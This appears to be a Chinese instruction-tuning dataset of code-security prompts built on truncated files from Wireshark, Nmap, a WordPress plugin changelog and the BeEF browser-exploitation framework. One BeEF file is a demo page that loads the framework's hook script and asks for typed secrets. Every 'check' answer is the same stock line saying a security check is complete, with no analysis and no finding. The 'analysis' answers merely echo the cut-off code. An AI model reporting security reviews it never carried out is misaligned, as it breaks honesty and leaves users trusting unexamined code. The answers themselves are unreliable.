Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-t125.c
 * Routines for t125 packet dissection
 * Copyright 2007, Ronnie Sahlberg
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/exceptions.h>

#include <epan/asn1.h>
#include "packet-ber.h"
#include "packet-per.h"

#include "packet-t124.h"

#define PNAME  "MULTIPOINT-COMMUNICATION-SERVICE T.125"
#define PSNAME "T.125"
#define PFNAME "t125"

#define HF_T125_ERECT_DOMAIN_REQUEST 1
#define HF_T125_DISCONNECT_PROVIDER_ULTIMATUM 8
#define HF_T125_ATTACH_USER_REQUEST 10
#define HF_T125_ATTACH_USER_CONFIRM 11
#define HF_T125_CHANNEL_JOIN_REQUEST 14
#define HF_T125_CHANNEL_JOIN_CONFIRM 15
#define HF_T125_SEND_DATA_REQUEST 25
#define HF_T125_SEND_DATA_INDICATION 26

void proto_register_t125(void);
void proto_reg_handoff_t125(void);

/* Initialize the protocol and registered fields */
static int proto_t125 = -1;
static proto_tree *top_tree = NULL;
#include "packet-t125-hf.c"

/* Initialize the subtree pointers */
static int ett_t125 = -1;

#include "packet-t125-ett.c"

static heur_dissector_list_t t125_heur_subdissector_list;

#include "packet-t125-fn.c"

static int
dissect_t125(tvbuff_t *tvb, packet_info *pinfo, proto_tree *parent_tree, void *data _U_)
{
  proto_item *item = NULL;
  proto_tree *tree = NULL;
  gint8 ber_class;
  bool pc;
  gint32 tag;

  top_tree = parent_tree;

  col_set_str(pinfo->cinfo, COL_PROTOCOL, "T.125");
  col_clear(pinfo->cinfo, COL_INFO);

  item = proto_tree_add_item(parent_tree, proto_t125, tvb, 0, tvb_captured_length(tvb), ENC_NA);
  tree = proto_item_add_subtree(item, ett_t125);

  get_ber_identifier(tvb, 0, &ber_class, &pc, &tag);

  if ( (ber_class==BER_CLASS_APP) && (tag>=101) && (tag<=104) ){
    dissect_ConnectMCSPDU_PDU(tvb, pinfo, tree, NULL);
  } else  {
    t124_set_top_tree(top_tree);
    dissect_DomainMCSPDU_PDU(tvb, pinfo, tree);
  }

  re...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-ecp.c
 * Routines for Solaris ECP/VDP dissection based on IEEE 802.1Qbg Draft 2.1
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>
#include <epan/to_str.h>
#include <epan/expert.h>
#include <epan/oui.h>

void proto_register_ecp(void);
void proto_register_vdp(void);
void proto_reg_handoff_ecp_21(void);
void proto_reg_handoff_vdp(void);

static dissector_handle_t ecp_handle;
static dissector_handle_t vdp_handle;

static int proto_ecp = -1;
static int hf_ecp_version = -1;
static int hf_ecp_op = -1;
static int hf_ecp_subtype = -1;
static int hf_ecp_seqno = -1;

static int proto_vdp = -1;
static int hf_vdp_tlv_type = -1;
static int hf_vdp_tlv_len = -1;
static int hf_vdp_tlv_assoc_reason = -1;
static int hf_vdp_vidstr_ps = -1;
static int hf_vdp_vidstr_pcp = -1;
static int hf_vdp_vidstr_vid = -1;
static int hf_vdp_vsitypeid = -1;
static int hf_vdp_vsiversion = -1;
static int hf_vdp_vsiid_format = -1;
static int hf_vdp_vsiid = -1;
static int hf_vdp_filter_format = -1;
static int hf_vdp_assoc_mac_id = -1;
static int hf_vdp_manager_id = -1;
static int hf_vdp_data = -1;
static int hf_vdp_tlv_org_oui = -1;
static int hf_vdp_tlv_oracle_subtype = -1;
static int hf_vdp_tlv_assoc_flag_mbit = -1;
static int hf_vdp_tlv_assoc_flag_sbit = -1;
static int hf_vdp_tlv_assoc_flag_req_rsp = -1;
static int hf_vdp_tlv_assoc_request_flags = -1;
static int hf_vdp_tlv_assoc_flag_hard_error = -1;
static int hf_vdp_tlv_assoc_flag_keep = -1;
static int hf_vdp_tlv_assoc_error = -1;
static int hf_vdp_tlv_assoc_response_flags = -1;

static int hf_oui_oracle_encoding = -1;

static gint ett_ecp = -1;
static gint ett_vdp_tlv = -1;
static gint ett_vdp_tlv_assoc = -1;
static gint ett_vdp_tlv_org = -1;
static gint ett_vdp_assoc_flags = -1;

static expert_field ei_vdp_tlvlen_bad = EI_INIT;

static dissector_tabl...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-ecp.c
 * Routines for Solaris ECP/VDP dissection based on IEEE 802.1Qbg Draft 2.1
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>
#include <epan/to_str.h>
#include <epan/expert.h>
#include <epan/oui.h>

void proto_register_ecp(void);
void proto_register_vdp(void);
void proto_reg_handoff_ecp_21(void);
void proto_reg_handoff_vdp(void);

static dissector_handle_t ecp_handle;
static dissector_handle_t vdp_handle;

static int proto_ecp = -1;
static int hf_ecp_version = -1;
static int hf_ecp_op = -1;
static int hf_ecp_subtype = -1;
static int hf_ecp_seqno = -1;

static int proto_vdp = -1;
static int hf_vdp_tlv_type = -1;
static int hf_vdp_tlv_len = -1;
static int hf_vdp_tlv_assoc_reason = -1;
static int hf_vdp_vidstr_ps = -1;
static int hf_vdp_vidstr_pcp = -1;
static int hf_vdp_vidstr_vid = -1;
static int hf_vdp_vsitypeid = -1;
static int hf_vdp_vsiversion = -1;
static int hf_vdp_vsiid_format = -1;
static int hf_vdp_vsiid = -1;
static int hf_vdp_filter_format = -1;
static int hf_vdp_assoc_mac_id = -1;
static int hf_vdp_manager_id = -1;
static int hf_vdp_data = -1;
static int hf_vdp_tlv_org_oui = -1;
static int hf_vdp_tlv_oracle_subtype = -1;
static int hf_vdp_tlv_assoc_flag_mbit = -1;
static int hf_vdp_tlv_assoc_flag_sbit = -1;
static int hf_vdp_tlv_assoc_flag_req_rsp = -1;
static int hf_vdp_tlv_assoc_request_flags = -1;
static int hf_vdp_tlv_assoc_flag_hard_error = -1;
static int hf_vdp_tlv_assoc_flag_keep = -1;
static int hf_vdp_tlv_assoc_error = -1;
static int hf_vdp_tlv_assoc_response_flags = -1;

static int hf_oui_oracle_encoding = -1;

static gint ett_ecp = -1;
static gint ett_vdp_tlv = -1;
static gint ett_vdp_tlv_assoc = -1;
static gint ett_vdp_tlv_org = -1;
static gint ett_vdp_assoc_flags = -1;

static expert_field ei_vdp_tlvlen_bad = EI_INIT;

static dissector_tabl...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-atn-ulcs.c
 * By Mathias Guettler <guettler@web.de>
 * Copyright 2013
 *
 * Routines for ATN upper layer
 * protocol packet disassembly

 * ATN upper layers are embedded within OSI Layer 4 (COTP).
 *
 * ATN upper layers contain:
 * Session Layer (NUL protocol option)
 * Presentation Layer (NUL protocol option)
 * ATN upper Layer/Application (ACSE PDU or PDV-list PDU)

 * ATN applications protocols (i.e. CM or CPDLC) are contained within
 * ACSE user-information or PDV presentation data.

 * details see:
 * http://en.wikipedia.org/wiki/CPDLC
 * http://members.optusnet.com.au/~cjr/introduction.htm

 * standards:
 * http://legacy.icao.int/anb/panels/acp/repository.cfm

 * note:
 * We are dealing with ATN/ULCS aka ICAO Doc 9705 Ed2 here
 * (don't think there is an ULCS equivalent for "FANS-1/A ").

 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 developer comments:
why not using existing ses, pres and acse dissectors ?
    ATN upper layers are derived from OSI standards for session,
    presentation and application but the encoding differs
    (it's PER instead of BER encoding to save bandwith).
    Session and presentation use the "null" encoding option,
    meaning that they are only present at connection establishment
    and ommitted otherwise.
    Instead of adapting existing dissectors it seemed simpler and cleaner
    to implement everything the new atn-ulcs dissector.

why using conversations ?
    PER encoded user data is ambigous; the same encoding may apply to a CM or
    CPDLC PDU. The workaround is to decode on a transport connection basis.
    I use my own version of conversations to identify
    the transport connection the PDU belongs to for the standard functions
    from "conversation.h" didn't work out.

what is the use of AARQ/AARE data ?
    Converstions should be maintained on the COTP layer in a standard way
    for t...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-atn-ulcs.c
 * By Mathias Guettler <guettler@web.de>
 * Copyright 2013
 *
 * Routines for ATN upper layer
 * protocol packet disassembly

 * ATN upper layers are embedded within OSI Layer 4 (COTP).
 *
 * ATN upper layers contain:
 * Session Layer (NUL protocol option)
 * Presentation Layer (NUL protocol option)
 * ATN upper Layer/Application (ACSE PDU or PDV-list PDU)

 * ATN applications protocols (i.e. CM or CPDLC) are contained within
 * ACSE user-information or PDV presentation data.

 * details see:
 * http://en.wikipedia.org/wiki/CPDLC
 * http://members.optusnet.com.au/~cjr/introduction.htm

 * standards:
 * http://legacy.icao.int/anb/panels/acp/repository.cfm

 * note:
 * We are dealing with ATN/ULCS aka ICAO Doc 9705 Ed2 here
 * (don't think there is an ULCS equivalent for "FANS-1/A ").

 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 developer comments:
why not using existing ses, pres and acse dissectors ?
    ATN upper layers are derived from OSI standards for session,
    presentation and application but the encoding differs
    (it's PER instead of BER encoding to save bandwith).
    Session and presentation use the "null" encoding option,
    meaning that they are only present at connection establishment
    and ommitted otherwise.
    Instead of adapting existing dissectors it seemed simpler and cleaner
    to implement everything the new atn-ulcs dissector.

why using conversations ?
    PER encoded user data is ambigous; the same encoding may apply to a CM or
    CPDLC PDU. The workaround is to decode on a transport connection basis.
    I use my own version of conversations to identify
    the transport connection the PDU belongs to for the standard functions
    from "conversation.h" didn't work out.

what is the use of AARQ/AARE data ?
    Converstions should be maintained on the COTP layer in a standard way
    for t...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* dot11decrypt_gcmp.c
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/****************************************************************************/
/* File includes								*/
#include "config.h"

#include "dot11decrypt_debug.h"
#include "dot11decrypt_int.h"
#include "dot11decrypt_system.h"
#include "dot11decrypt_util.h"

#include <wsutil/wsgcrypt.h>

/****************************************************************************/
/*	Internal definitions							*/

/****************************************************************************/
/* Internal macros								*/

#define READ_6(b0, b1, b2, b3, b4, b5) \
	((((uint64_t)((uint16_t)((b4 << 0) | (b5 << 8)))) << 32) | \
	    ((uint32_t)((b0 << 0) | (b1 << 8) | (b2 << 16) | (b3 << 24))))

/****************************************************************************/
/* Internal function prototypes declarations					*/

/****************************************************************************/
/* Function definitions							*/

/* From IEEE 802.11 2016 Chapter 12.5.5.3.4 Construct GCM nonce */
static void
gcmp_construct_nonce(
	PDOT11DECRYPT_MAC_FRAME wh,
	uint64_t pn,
	uint8_t nonce[12])
{
	/* Nonce: A2 | PN */
	DOT11DECRYPT_ADDR_COPY(nonce, wh->addr2);
	nonce[6] = (uint8_t)(pn >> 40);
	nonce[7] = (uint8_t)(pn >> 32);
	nonce[8] = (uint8_t)(pn >> 24);
	nonce[9] = (uint8_t)(pn >> 16);
	nonce[10] = (uint8_t)(pn >> 8);
	nonce[11] = (uint8_t)(pn >> 0);
}

int Dot11DecryptGcmpDecrypt(
	uint8_t *m,
	int mac_header_len,
	int len,
	uint8_t *TK1,
	int tk_len)
{
	PDOT11DECRYPT_MAC_FRAME wh;
	uint8_t aad[30];
	uint8_t nonce[12];
	uint8_t mic[16];
	ssize_t data_len;
	size_t aad_len;
	int z = mac_header_len;
	gcry_cipher_hd_t handle;
	uint64_t pn;
	uint8_t *ivp = m + z;

	wh = (PDOT11DECRYPT_MAC_FRAME )m;
	data_len = len - (z + DOT11DECRYPT_GCMP_HEADER + sizeof(mic));
	if (data_len < 1) {
		return 0;
	}

	mem...


Instruction: 检查这段代码是否存在安全问题

Input:
/* dot11decrypt_gcmp.c
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/****************************************************************************/
/* File includes								*/
#include "config.h"

#include "dot11decrypt_debug.h"
#include "dot11decrypt_int.h"
#include "dot11decrypt_system.h"
#include "dot11decrypt_util.h"

#include <wsutil/wsgcrypt.h>

/****************************************************************************/
/*	Internal definitions							*/

/****************************************************************************/
/* Internal macros								*/

#define READ_6(b0, b1, b2, b3, b4, b5) \
	((((uint64_t)((uint16_t)((b4 << 0) | (b5 << 8)))) << 32) | \
	    ((uint32_t)((b0 << 0) | (b1 << 8) | (b2 << 16) | (b3 << 24))))

/****************************************************************************/
/* Internal function prototypes declarations					*/

/****************************************************************************/
/* Function definitions							*/

/* From IEEE 802.11 2016 Chapter 12.5.5.3.4 Construct GCM nonce */
static void
gcmp_construct_nonce(
	PDOT11DECRYPT_MAC_FRAME wh,
	uint64_t pn,
	uint8_t nonce[12])
{
	/* Nonce: A2 | PN */
	DOT11DECRYPT_ADDR_COPY(nonce, wh->addr2);
	nonce[6] = (uint8_t)(pn >> 40);
	nonce[7] = (uint8_t)(pn >> 32);
	nonce[8] = (uint8_t)(pn >> 24);
	nonce[9] = (uint8_t)(pn >> 16);
	nonce[10] = (uint8_t)(pn >> 8);
	nonce[11] = (uint8_t)(pn >> 0);
}

int Dot11DecryptGcmpDecrypt(
	uint8_t *m,
	int mac_header_len,
	int len,
	uint8_t *TK1,
	int tk_len)
{
	PDOT11DECRYPT_MAC_FRAME wh;
	uint8_t aad[30];
	uint8_t nonce[12];
	uint8_t mic[16];
	ssize_t data_len;
	size_t aad_len;
	int z = mac_header_len;
	gcry_cipher_hd_t handle;
	uint64_t pn;
	uint8_t *ivp = m + z;

	wh = (PDOT11DECRYPT_MAC_FRAME )m;
	data_len = len - (z + DOT11DECRYPT_GCMP_HEADER + sizeof(mic));
	if (data_len < 1) {
		return 0;
	}

	mem...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/***************************************************************************
 * util.c -- Various utility functions.                                    *
 ***********************IMPORTANT NMAP LICENSE TERMS************************
 *
 * The Nmap Security Scanner is (C) 1996-2023 Nmap Software LLC ("The Nmap
 * Project"). Nmap is also a registered trademark of the Nmap Project.
 *
 * This program is distributed under the terms of the Nmap Public Source
 * License (NPSL). The exact license text applying to a particular Nmap
 * release or source code control revision is contained in the LICENSE
 * file distributed with that version of Nmap or source code control
 * revision. More Nmap copyright/legal information is available from
 * https://nmap.org/book/man-legal.html, and further information on the
 * NPSL license itself can be found at https://nmap.org/npsl/ . This
 * header summarizes some key points from the Nmap license, but is no
 * substitute for the actual license text.
 *
 * Nmap is generally free for end users to download and use themselves,
 * including commercial use. It is available from https://nmap.org.
 *
 * The Nmap license generally prohibits companies from using and
 * redistributing Nmap in commercial products, but we sell a special Nmap
 * OEM Edition with a more permissive license and special features for
 * this purpose. See https://nmap.org/oem/
 *
 * If you have received a written Nmap license agreement or contract
 * stating terms other than these (such as an Nmap OEM license), you may
 * choose to use and redistribute Nmap under those terms instead.
 *
 * The official Nmap Windows builds include the Npcap software
 * (https://npcap.com) for packet capture and transmission. It is under
 * separate license terms which forbid redistribution without special
 * permission. So the official Nmap Windows builds may not be redistributed
 * without special permission (such as an Nmap OEM license).
 *
 * Source is provided to this software because we b...


Instruction: 检查这段代码是否存在安全问题

Input:
/***************************************************************************
 * util.c -- Various utility functions.                                    *
 ***********************IMPORTANT NMAP LICENSE TERMS************************
 *
 * The Nmap Security Scanner is (C) 1996-2023 Nmap Software LLC ("The Nmap
 * Project"). Nmap is also a registered trademark of the Nmap Project.
 *
 * This program is distributed under the terms of the Nmap Public Source
 * License (NPSL). The exact license text applying to a particular Nmap
 * release or source code control revision is contained in the LICENSE
 * file distributed with that version of Nmap or source code control
 * revision. More Nmap copyright/legal information is available from
 * https://nmap.org/book/man-legal.html, and further information on the
 * NPSL license itself can be found at https://nmap.org/npsl/ . This
 * header summarizes some key points from the Nmap license, but is no
 * substitute for the actual license text.
 *
 * Nmap is generally free for end users to download and use themselves,
 * including commercial use. It is available from https://nmap.org.
 *
 * The Nmap license generally prohibits companies from using and
 * redistributing Nmap in commercial products, but we sell a special Nmap
 * OEM Edition with a more permissive license and special features for
 * this purpose. See https://nmap.org/oem/
 *
 * If you have received a written Nmap license agreement or contract
 * stating terms other than these (such as an Nmap OEM license), you may
 * choose to use and redistribute Nmap under those terms instead.
 *
 * The official Nmap Windows builds include the Npcap software
 * (https://npcap.com) for packet capture and transmission. It is under
 * separate license terms which forbid redistribution without special
 * permission. So the official Nmap Windows builds may not be redistributed
 * without special permission (such as an Nmap OEM license).
 *
 * Source is provided to this software because we b...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

### Changelog

- 2.1.9 - 2017-09-25
    * Fix: compatible with WordPress 4.8.

- 2.1.8 - 2017-05-30
    * Fix: Error.

- 2.1.7 - 2015-10-30
    * Fix: Show popup.

- 2.1.6 - 2015-10-30
    * Fix: Session issue.

- 2.1.5 - 2015-09-22
    * Fix: Add possibility to disable SSL verification.

- 2.1.4 - 2015-09-01
    * Fix: Now ApiKey and ApiSecret are checking only once per day or if they were changed.

- 2.1.3 - 2015-07-24
    * Add: Option to display popout on every single page, post, product.
    * Fix: Checkboxes in freshmail form now are avaliable to uncheck.
    * Fix: Redirection works properly in shortcode form.

- 2.1.2 - 2015-07-20
    * Add: Google url.

- 2.1.1 - 2015-06-29
    * Fix: alert about php version

- 2.1 - 2015-06-23
    * Add: Margins in fields
    * Add: Remove all options and database tables during uninstall
    * Fix: Remove old options from 1.x version
    * Fix: Removed textarea from contact form 7 checkbox

- 2.0.2 - 2015-06-22
    * Fix: Info about required PHP version (5.3 or higher)

- 2.0.1 - 2015-06-17
    * Fix: Displaying shortcode in custom place of content
    * Fix: Freshmail version compare
    * Fix: Database converting to freshmail 2.x standard

- 2.0 - 2015-06-15
    * NEW: redeveloped stable version
    * Fix: validation secret and API keys
    * Fix: checkboxes and integrations with: registration, comments, multisite form, WooCommerce, Easy Dig, bbPress, buddyPress, Contact Form 7

- 1.6 - 2015-05-06
    * Fix: major security update

- 1.5.8 - 2015-04-24
    * Fix: compatible with WordPress 4.2

- 1.5.7 - 2015-04-23
    * Fix: fixed duplicating form
    * Fix: plugins conflict while including REST API classes

- 1.5.6 - 2015-04-14
    * Fix: fixed issue with popup

- 1.5.5 - 2015-03-18
    * Fix: updated rest api class

- 1.5.4 - 2015-02-26
    * Fix: issue with already subscribed e-mail

* 1.5.3 - 2015-02-16
    * Fix: info about authorization/connection errors

* 1.5.2 - 2015-02-11
    * Fix: removed short php tag...


Instruction: 检查这段代码是否存在安全问题

Input:
### Changelog

- 2.1.9 - 2017-09-25
    * Fix: compatible with WordPress 4.8.

- 2.1.8 - 2017-05-30
    * Fix: Error.

- 2.1.7 - 2015-10-30
    * Fix: Show popup.

- 2.1.6 - 2015-10-30
    * Fix: Session issue.

- 2.1.5 - 2015-09-22
    * Fix: Add possibility to disable SSL verification.

- 2.1.4 - 2015-09-01
    * Fix: Now ApiKey and ApiSecret are checking only once per day or if they were changed.

- 2.1.3 - 2015-07-24
    * Add: Option to display popout on every single page, post, product.
    * Fix: Checkboxes in freshmail form now are avaliable to uncheck.
    * Fix: Redirection works properly in shortcode form.

- 2.1.2 - 2015-07-20
    * Add: Google url.

- 2.1.1 - 2015-06-29
    * Fix: alert about php version

- 2.1 - 2015-06-23
    * Add: Margins in fields
    * Add: Remove all options and database tables during uninstall
    * Fix: Remove old options from 1.x version
    * Fix: Removed textarea from contact form 7 checkbox

- 2.0.2 - 2015-06-22
    * Fix: Info about required PHP version (5.3 or higher)

- 2.0.1 - 2015-06-17
    * Fix: Displaying shortcode in custom place of content
    * Fix: Freshmail version compare
    * Fix: Database converting to freshmail 2.x standard

- 2.0 - 2015-06-15
    * NEW: redeveloped stable version
    * Fix: validation secret and API keys
    * Fix: checkboxes and integrations with: registration, comments, multisite form, WooCommerce, Easy Dig, bbPress, buddyPress, Contact Form 7

- 1.6 - 2015-05-06
    * Fix: major security update

- 1.5.8 - 2015-04-24
    * Fix: compatible with WordPress 4.2

- 1.5.7 - 2015-04-23
    * Fix: fixed duplicating form
    * Fix: plugins conflict while including REST API classes

- 1.5.6 - 2015-04-14
    * Fix: fixed issue with popup

- 1.5.5 - 2015-03-18
    * Fix: updated rest api class

- 1.5.4 - 2015-02-26
    * Fix: issue with already subscribed e-mail

* 1.5.3 - 2015-02-16
    * Fix: info about authorization/connection errors

* 1.5.2 - 2015-02-11
    * Fix: removed short php tag...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-uaudp.c
 * Routines for UA/UDP (Universal Alcatel over UDP) packet dissection.
 * Copyright 2012, Alcatel-Lucent Enterprise <lars.ruoff@alcatel-lucent.com>
 * Copyright 2018, Alcatel-Lucent Enterprise <nicolas.bertin@al-enterprise.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <wsutil/report_message.h>
#include <wsutil/inet_addr.h>

#include "packet-uaudp.h"

void proto_register_uaudp(void);
void proto_reg_handoff_uaudp(void);

/* GLOBALS */

static dissector_handle_t uaudp_handle;

static int proto_uaudp              = -1;

static int hf_uaudp_opcode          = -1;
static int hf_uaudp_version         = -1;
static int hf_uaudp_window_size     = -1;
static int hf_uaudp_mtu             = -1;
static int hf_uaudp_udp_lost        = -1;
static int hf_uaudp_udp_lost_reinit = -1;
static int hf_uaudp_keepalive       = -1;
static int hf_uaudp_qos_ip_tos      = -1;
static int hf_uaudp_qos_8021_vlid   = -1;
static int hf_uaudp_qos_8021_pri    = -1;
static int hf_uaudp_superfast_connect = -1;
static int hf_uaudp_expseq          = -1;
static int hf_uaudp_sntseq          = -1;
static int hf_uaudp_type            = -1;
static int hf_uaudp_length          = -1;
static int hf_uaudp_startsig_reserved = -1;
static int hf_uaudp_startsig_filename = -1;

static gint ett_uaudp               = -1;
static gint ett_uaudp_tlv           = -1;

static expert_field ei_uaudp_tlv_length = EI_INIT;

/* pref */
#define UAUDP_PORT_RANGE "32000,32512" /* Not IANA registered */
static range_t *ua_udp_range = NULL;
static address cs_address = ADDRESS_INIT_NONE;
static ws_in4_addr cs_ipv4;
static ws_in6_addr cs_ipv6;
static const char* pref_sys_ip_s = "";

static gboolean use_sys_ip = FALSE;

static const value_string uaudp_opcode_str[] =
{
    { UAUDP_CONNECT,        ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-uaudp.c
 * Routines for UA/UDP (Universal Alcatel over UDP) packet dissection.
 * Copyright 2012, Alcatel-Lucent Enterprise <lars.ruoff@alcatel-lucent.com>
 * Copyright 2018, Alcatel-Lucent Enterprise <nicolas.bertin@al-enterprise.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <wsutil/report_message.h>
#include <wsutil/inet_addr.h>

#include "packet-uaudp.h"

void proto_register_uaudp(void);
void proto_reg_handoff_uaudp(void);

/* GLOBALS */

static dissector_handle_t uaudp_handle;

static int proto_uaudp              = -1;

static int hf_uaudp_opcode          = -1;
static int hf_uaudp_version         = -1;
static int hf_uaudp_window_size     = -1;
static int hf_uaudp_mtu             = -1;
static int hf_uaudp_udp_lost        = -1;
static int hf_uaudp_udp_lost_reinit = -1;
static int hf_uaudp_keepalive       = -1;
static int hf_uaudp_qos_ip_tos      = -1;
static int hf_uaudp_qos_8021_vlid   = -1;
static int hf_uaudp_qos_8021_pri    = -1;
static int hf_uaudp_superfast_connect = -1;
static int hf_uaudp_expseq          = -1;
static int hf_uaudp_sntseq          = -1;
static int hf_uaudp_type            = -1;
static int hf_uaudp_length          = -1;
static int hf_uaudp_startsig_reserved = -1;
static int hf_uaudp_startsig_filename = -1;

static gint ett_uaudp               = -1;
static gint ett_uaudp_tlv           = -1;

static expert_field ei_uaudp_tlv_length = EI_INIT;

/* pref */
#define UAUDP_PORT_RANGE "32000,32512" /* Not IANA registered */
static range_t *ua_udp_range = NULL;
static address cs_address = ADDRESS_INIT_NONE;
static ws_in4_addr cs_ipv4;
static ws_in6_addr cs_ipv6;
static const char* pref_sys_ip_s = "";

static gboolean use_sys_ip = FALSE;

static const value_string uaudp_opcode_str[] =
{
    { UAUDP_CONNECT,        ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<!--
    Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
    Browser Exploitation Framework (BeEF) - http://beefproject.com
    See the file 'doc/COPYING' for copying permission
-->
<head>
	<title>BeEF Basic Demo</title>
	<meta charset="utf-8"/>
	<script src="/hook.js"></script>
</head>

<body>
  <div style='font:12px tahoma,arial,helvetica,sans-serif; width: 450px; margin: 0 auto;' >

    <img src='beef.jpg' />

    <p>You should be hooked into <b>BeEF</b>.</p>
    <p>Have fun while your browser is working against you.</p>
    <p>These links are for demonstrating the "Get Page HREFs" command module:</p>
    <ul>
      <li><a href="https://beefproject.com" target="_blank">The Browser Exploitation Framework Project homepage</a>
      <li><a href="https://github.com/beefproject/beef/wiki" target="_blank">BeEF Wiki</a></li>
      <li><a href="http://browserhacker.com/" target="_blank">Browser Hacker's Handbook</a></li>
      <li><a href="https://slashdot.org/" target="_blank">Slashdot</a>
    </ul>

    <p>Have a go at the event logger. <label for="imptxt">Insert your secret here:</label></p>
    <p><textarea type="text" id="imptxt" name="Important Text" style='width: 400px; margin: 0 auto;'></textarea></p>
    <p>You can also load up a more <a href="butcher/index.html">advanced demo page</a>.</p>
  </div>
  <!-- UTF-8 characters for testing purposes: 牛肉 -->
</body>
</html>


Instruction: 检查这段代码是否存在安全问题

Input:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

	<title>BeEF Basic Demo</title>
	<meta charset="utf-8"/>

You should be hooked into BeEF.

Have fun while your browser is working against you.

These links are for demonstrating the "Get Page HREFs" command module:

The Browser Exploitation Framework Project homepage

BeEF Wiki

Browser Hacker's Handbook

Slashdot

Have a go at the event logger. Insert your secret here:

<textarea type="text" id="imptxt" name="Important Text" style='width: 400px; margin: 0 auto;'></textarea>

You can also load up a more advanced demo page.

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Get_connection_type < BeEF::Core::Command
  def post_execute
    content = {}
    content['Result'] = @datastore['connection']
    save content
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Get_connection_type < BeEF::Core::Command
  def post_execute
    content = {}
    content['Result'] = @datastore['connection']
    save content
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-dlep.c
 * Routines for DLEP protocol packet disassembly
 *
 * Copyright (C) 2019 Massachusetts Institute of Technology
 *
 * Original code from https://github.com/mit-ll/dlep-wireshark-dissector
 * Original Author: Jeffrey Wildman <jeffrey.wildman@ll.mit.edu>
 *
 * Extended and supplemented by Uli Heilmeier <uh@heilmeier.eu>, 2020
 * Extended by:
 * RFC 8757 Latency Range Extension
 * RFC 8629 Multi-Hop Forwarding Extension
 * RFC 8703 Link Identifier Extension
 * TODO: Decoding of RFC 8651 Control-Plane-Based Pause Extension needs to be implemented
 *
 * SPDX-License-Identifier: MIT
 *
 */

#include "config.h"

#include <epan/ftypes/ftypes.h> /* for fieldtype lengths */
#include <epan/exceptions.h>
#include <epan/expert.h>
#include <epan/ipproto.h>       /* for IP_PROTO_TCP and IP_PROTO_UDP */
#include <epan/packet.h>
#include <epan/packet_info.h>   /* for struct packet_info */
#include <epan/prefs.h>
#include <epan/tvbuff.h>
#include <epan/to_str.h>
#include <epan/tfs.h>

#include "packet-tcp.h"

/* Section 13: DLEP Data Items */

/* DLEP Data Item Lengths (bytes) */
#define DLEP_DIT_STATUS_MINLEN      1     /* variable length */
#define DLEP_DIT_V4CONN_LEN         5
#define DLEP_DIT_V4CONN_WPORT_LEN   7
#define DLEP_DIT_V6CONN_LEN         17
#define DLEP_DIT_V6CONN_WPORT_LEN   19
